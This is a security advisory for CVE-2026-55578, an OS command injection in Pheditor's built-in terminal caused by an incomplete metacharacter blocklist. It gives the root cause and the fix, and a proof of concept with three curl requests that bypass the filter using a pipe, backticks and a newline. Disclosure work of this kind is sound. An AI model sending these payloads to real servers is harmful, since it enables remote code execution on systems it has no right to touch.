high · 8.8CVE-2026-55578Jul 16, 2026

CVE-2026-55578: Pheditor OS Command Injection via Incomplete Terminal Blocklist

Rohit Hatagale
AI Security Researcher, SecureLayer7

Pheditor's built-in terminal blocks some shell metacharacters but misses the pipe operator, backtick, and newline byte, letting any logged-in user run arbitrary OS commands on the server.

Packagepheditor/pheditor
Ecosystemcomposer
Affected>= 2.0.1, < 2.0.6
Fixed in2.0.6

The problem

Pheditor 2.0.1 through 2.0.5 passes the POST parameter `command` directly to `shell_exec()` after a blocklist check at `pheditor.php:557`. The blocklist catches `&`, `;`, `||`, and `$`, but leaves single `|`, backtick, and the newline byte (0x0A) unblocked.

A `TERMINAL_COMMANDS` allowlist also validates the command prefix, but only checks that the string starts with a permitted name. All three bypasses satisfy that prefix check while appending injected commands after the metacharacter, giving any authenticated user with the `terminal` permission (on by default) full RCE as the web server user.

Proof of concept

A working proof-of-concept for CVE-2026-55578 in pheditor/pheditor, with the exact payload below.

bash
# Bypass 1: single pipe (filter blocks || but not |)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "command=ls | id" \
  --data-urlencode "dir="
# Expected: uid=... gid=... — id output proves RCE

# Bypass 2: backtick substitution (not in blocklist at all)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode 'command=echo `id`' \
  --data-urlencode "dir="

# Bypass 3: newline byte 0x0A (only first line checked against allowlist)
curl -s -b /tmp/cookies.txt -X POST http://TARGET/pheditor.php \
  --data-urlencode "action=terminal" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode $'command=ls\nid' \
  --data-urlencode "dir="

The root cause is CWE-78: the blocklist at `pheditor.php:557` is a denylist of specific character sequences, not a whitelist of safe input. Blocklist approaches fail when any metacharacter is overlooked. Single `|` pipes stdout of the whitelisted command into an arbitrary second command.

Backtick substitution executes the inner command before the outer one even runs. A literal newline splits the input into two shell statements, and only the first line is validated.

The 2.0.6 patch extends the `strpos` check to also block `|` (catching both `|` and `||`), the backtick character, and `\n` (0x0A), so all three bypass paths are closed. The fix is still a blocklist, so the recommended long-term remediation is to parse the command into an executable and discrete arguments, validate the executable by exact match, and pass each argument through `escapeshellarg()` or use `proc_open()` with an argument array.

The fix

Update to pheditor 2.0.6. In that release the `strpos` blocklist in `pheditor.php:557` is extended to include `|`, `` ` ``, and `\n`. If you cannot update immediately, disable the `terminal` permission in the `PERMISSIONS` constant and change the default password from `admin`.

Reporter not attributed.

References: [1][2][3]

Related research